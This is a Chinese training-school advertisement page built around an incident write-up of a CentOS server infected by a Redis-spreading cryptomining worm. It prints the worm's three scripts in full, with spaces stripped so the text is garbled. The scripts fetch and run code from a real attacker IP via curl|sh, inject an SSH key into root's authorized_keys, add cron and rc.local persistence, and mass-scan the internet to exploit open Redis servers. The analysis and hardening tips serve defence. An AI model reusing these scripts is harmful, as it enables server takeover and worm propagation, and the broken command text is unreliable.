首页 > 新闻详情

深圳网络安全工程师培训机构推荐名单有哪些榜首今日精选

来源:深圳达内教育大数据培训机构

时间: 2023/9/8 14:53:20

深圳达内软件有限公司是亿元级外资IT培训集团达内旗下深圳分公司,达内是获得国际风险投资的IT培训机构。达内已经发展成为集培训、咨询、开发、人才服务于一体的高新技术集团公司,公司下设达内IT培训、达内软件人才服务中心、达内软件研发中心。网络安全工程师(Network Security Engineer)是一个分析网络现状的职业。随着互联网发展和IT技术的普及,网络和IT已经日渐深入到日常生活和工作当中,社会信息化和信息网络化,突破了应用信息在时间和空间上的障碍,使信息的价值不断提高。但是与此同时,网页篡改、计算机病毒、系统非法入侵、数据泄密、网站欺骗、服务瘫痪、漏洞非法利用等信息安全事件时有发生。

达内网络安全工程师课程优势

技术新颖

技术紧随企业需求与华为强强联合,建立VUE授权考试中心;

入门简单

基础薄弱、低学历起步,也能轻松晋升,网络工程师入IT行业有方法;

学习便捷

灵活学:学习选择更灵活;直播学:每周五次直播课;及时问:与讲师交流;

严格督学

直播辅导:每周五天答疑;督学一对一:疑难解答及时有效;

双师保障

讲师授课,确保学习效果;辅导讲师在线答疑,保障学员学的懂,会应用;

服务贴心

每月与企业进行双选招聘会,根据企业需求让学生面试

网络安全培训-Linux被入侵

网络安全培训-Linux被入侵接下来和大家一起分享网络安全中的Linux被入侵。周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。我放下酸菜馅的包子,ssh连了一下,被拒绝了,问了下默认的22端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名:root,还有不足8位的小白密码,心里一凉:被黑了!

一、查找线索

服务器系统CentOS6.X,部署了nginx,tomcat,redis等应用,上来先把数据库全备份到本地,然后top命令看了一下,有2个99%的同名进程还在运行,叫gpg-agentd。

google了一下gpg,结果是:

GPG提供的gpg-agent提供了对SSH协议的支持,这个功能可以大大简化密钥的管理工作。

看起来像是一个很正经的程序嘛,但仔细再看看服务器上的进程后面还跟着一个字母d,伪装的很好,让人想起来windows上各种看起来像svchost.exe的病毒。继续

psehocommand-p23374netstat-pan|grep23374

查看pid:23374进程启动路径和网络状况,也就是来到了图1的目录,到此已经找到了黑客留下的二进制可执行文件。接下来还有2个问题在等着我:

1、文件是怎么上传的?

2、这个文件的目的是什么,或是黑客想干嘛?

history看一下,记录果然都被清掉了,没留下任何痕迹。继续命令moremessages,

看到了在半夜12点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意,下面详细讲。边找边猜,如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务。

crontab-e

果然,线索找到了。

二、作案动机

上面的计划任务的意思就是每15分钟去服务器上下载一个脚本,并且执行这个脚本。我们把脚本下载下来看一下。

curl-fsSL159.89.190.243/ash.php>ash.sh

脚本内容如下:

uname-aidhostnamesetenforce02>/dev/nullulimit-n50000ulimit-u50000crontab-r2>/dev/nullrm-rf/var/spool/cron/*2>/dev/nullmkdir-p/var/spool/cron/crontabs2>/dev/nullmkdir-p/root/.ssh2>/dev/nullecho'ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqxredisX'>/root/.ssh/authorized_keysecho'*/15****curl-fsSL159.89.190.243/ash.php|sh'>/var/spool/cron/rootecho'*/20****curl-fsSL159.89.190.243/ash.php|sh'>/var/spool/cron/crontabs/rootyuminstall-ybash2>/dev/nullaptinstall-ybash2>/dev/nullapt-getinstall-ybash2>/dev/nullbash-c'curl-fsSL159.89.190.243/bsh.php|bash'2>/dev/null

大致分析一下该脚本的主要用途:

首先是关闭SELinux,解除shell资源访问限制,然后在/root/.ssh/authorized_keys文件中生成ssh公钥,这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多,关于sshkeys的文章可以参考这一篇文章SSH原理与运用。接下来安装bash,较后是继续下载第二个脚本bsh.php,并且执行。

继续下载并分析bsh.pbp,内容如下:

sleep$(seq37|sort-R|head-n1)cd/tmp||cd/var/tmpsleep1mkdir-p.ICE-unix/...&&chmod-R777.ICE-unix&&cd.ICE-unix/...sleep1if[-f.watch];thenrm-rf.watchexit0fisleep1echo1>.watchsleep1psx|awk'!/awk/&&/redisscan|ebscan|redis-cli/{print$1}'|xargskill-92>/dev/nullpsx|awk'!/awk/&&/barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/{print$1}'|xargskill-92>/dev/nullsleep1if![-x/usr/bin/gpg-agentd];thencurl-s-o/usr/bin/gpg-agentd159.89.190.243/dump.dbecho'/usr/bin/gpg-agentd'>/etc/rc.localecho'curl-fsSL159.89.190.243/ash.php|sh'>>/etc/rc.localecho'exit0'>>/etc/rc.localfisleep1chmod+x/usr/bin/gpg-agentd&&/usr/bin/gpg-agentd||rm-rf/usr/bin/gpg-agentdsleep1if![-x"$(command-vmasscan)"];thenrm-rf/var/lib/apt/lists/*rm-rfx1.tar.gzif[-x"$(command-vapt-get)"];thenexportDEBIAN_FRONTEND=noninteractiveapt-getupdate-yapt-getinstall-ydebconf-docapt-getinstall-ybuild-essentialapt-getinstall-ylibpcap0.8-devlibpcap0.8apt-getinstall-ylibpcap*apt-getinstall-ymakegccgitapt-getinstall-yredis-serverapt-getinstall-yredis-toolsapt-getinstall-yredisapt-getinstall-yiptablesapt-getinstall-ywgetcurlfiif[-x"$(command-vyum)"];thenyumupdate-yyuminstall-yepel-releaseyumupdate-yyuminstall-ygitiptablesmakegccredislibpcaplibpcap-develyuminstall-ywgetcurlfisleep1curl-sL-ox1.tar.gzhttps://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gzsleep1[-fx1.tar.gz]&&tarzxfx1.tar.gz&&cdmasscan-1.0.4&&make&&makeinstall&&cd..&&rm-rfmasscan-1.0.4fisleep3&&rm-rf.watchbash-c'curl-fsSL159.89.190.243/rsh.php|bash'2>/dev/null

这段脚本的代码比较长,但主要的功能有4个:

1、下载远程代码到本地,添加执行权限,chmodu+x。

2、修改rc.local,让本地代码开机自动执行。

3、下载github上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的messages里看到的记录。

4、下载第三个脚本,并且执行。

我去github上看了下这个开源代码,简直吊炸天。

MASSCAN:MassIPportscanner

ThisisthefastestInternetport

scanner.ItcanscantheentireInternetinunder6minutes,>

transmitting10millionpacketspersecond.

Itproducesresultssimilartonmap,themostfamousportscanner.

Internally,itoperatesmore>likescanrand,unicornscan,andZMap,

usingasynchronoustransmission.Themajordifferenceis>thatit's

fasterthantheseotherscanners.Inaddition,it'smoreflexible,

allowingarbitrary>addressrangesandportranges.

NOTE:masscanusesacustomTCP/IPstack.Anythingotherthansimple

portscanswillcauseconflictwiththelocalTCP/IPstack.Thismeans

youneedtoeitherusethe-SoptiontouseaseparateIPaddress,or

configureyouroperatingsystemtofirewalltheportsthatmasscanuses.

transmitting10millionpacketspersecond(每秒发送1000万个数据包),比nmap速度还要快,这就不难理解为什么阿里云把服务器冻结了,大概看了下readme之后,我也没有细究,继续下载第三个脚本。

setenforce02>/dev/nullulimit-n50000ulimit-u50000sleep1iptables-IINPUT1-ptcp--dport6379-jDROP2>/dev/nulliptables-IINPUT1-ptcp--dport6379-s127.0.0.1-jACCEPT2>/dev/nullsleep1rm-rf.dat.shard.ranges.lan2>/dev/nullsleep1echo'configsetdbfilename"backup.db"'>.datecho'save'>>.datecho'flushall'>>.datecho'setbackup1"*/2****curl-fsSLhttp://159.89.190.243/ash.php|sh"'>>.datecho'setbackup2"*/3****wget-q-O-http://159.89.190.243/ash.php|sh"'>>.datecho'setbackup3"*/4****curl-fsSLhttp://159.89.190.243/ash.php|sh"'>>.datecho'setbackup4"*/5****wget-q-O-http://159.89.190.243/ash.php|sh"'>>.datecho'configsetdir"/var/spool/cron/"'>>.datecho'configsetdbfilename"root"'>>.datecho'save'>>.datecho'configsetdir"/var/spool/cron/crontabs"'>>.datecho'save'>>.datsleep1masscan--max-rate10000-p6379,6380--shard$(seq122000|sort-R|head-n1)/22000--exclude255.255.255.2550.0.0.0/02>/dev/null|awk'{print$6,substr($4,1,length($4)-4)}'|sort|uniq>.shardsleep1whileread-rhp;docat.dat|redis-cli-h$h-p$p--raw2>/dev/null1>/dev/null&done

/dev/null|awk'{print$6,substr($4,1,length($4)-4)}'|sort|uniq>.rangessleep1whileread-rhp;docat.dat|redis-cli-h$h-p$p--raw2>/dev/null1>/dev/null&done

/dev/null|sed's//([0-9]{2})//16/g'>.inetsleep1masscan--max-rate10000-p6379,6380-iL.inet|awk'{print$6,substr($4,1,length($4)-4)}'|sort|uniq>.lansleep1whileread-rhp;docat.dat|redis-cli-h$h-p$p--raw2>/dev/null1>/dev/null&done

/dev/null

如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。

一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过redis的人,应该能猜到,这里是对redis进行配置。写这个配置,自然也就是利用了redis把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章较开始的/root/.ssh/authorized_keys。登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用masscan进行全网扫描redis服务器,寻找肉鸡,注意看这6379就是redis服务器的默认端口,如果你的redis的监听端口是公网IP或是0.0.0.0,并且没有密码保护,不好意思,你就中招了。

三、总结

通过依次分析这3个脚本,就能看出这个病毒的可怕之处,先是通过写入sshpublickey拿到登录权限,然后下载执行远程二进制文件,较后再通过redis漏洞复制,迅速在全网传播,以指数级速度增长。那么问题是,这台服务器是怎么中招的呢?看了下redis.conf,bind的地址是127.0.0.1,没啥问题。由此可以推断,应该是root帐号被暴力破解了,为了验证我的想法,我lastb看了一下,果然有大量的记录:

还剩较后一个问题,这个gpg-agentd程序到底是干什么的呢?我当时的个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。于是,顺手把这个gpg-agentd拖到ida中,用string搜索bitcoin,eth,mine等相关单词,较终发现了这个:

打开#看一下,一切都清晰了。

四、安全建议

1、服务器

1)禁用ROOT

2)用户名和密码尽量复杂

3)修改ssh的默认22端口

4)安装DenyHosts防暴力破解软件

5)禁用密码登录,使用RSA公钥登录

2、redis

1)禁用公网IP监听,包括0.0.0.0

2)使用密码限制访问redis

3)使用较低权限帐号运行redis

网络安全培训-Linux被入侵,网络安全是非常重要的,也是经常发生在我们身边的网络安全事件,其实每个人都应该具备网络安全的意识,手机银行卡被盗已经是非常显而易见的网络安全事件,所以学好网络安全其实很重要,将来这个岗位也是不错的发展方向。

优先领取试听课
版权所有:搜学搜课(wwww.soxsok com)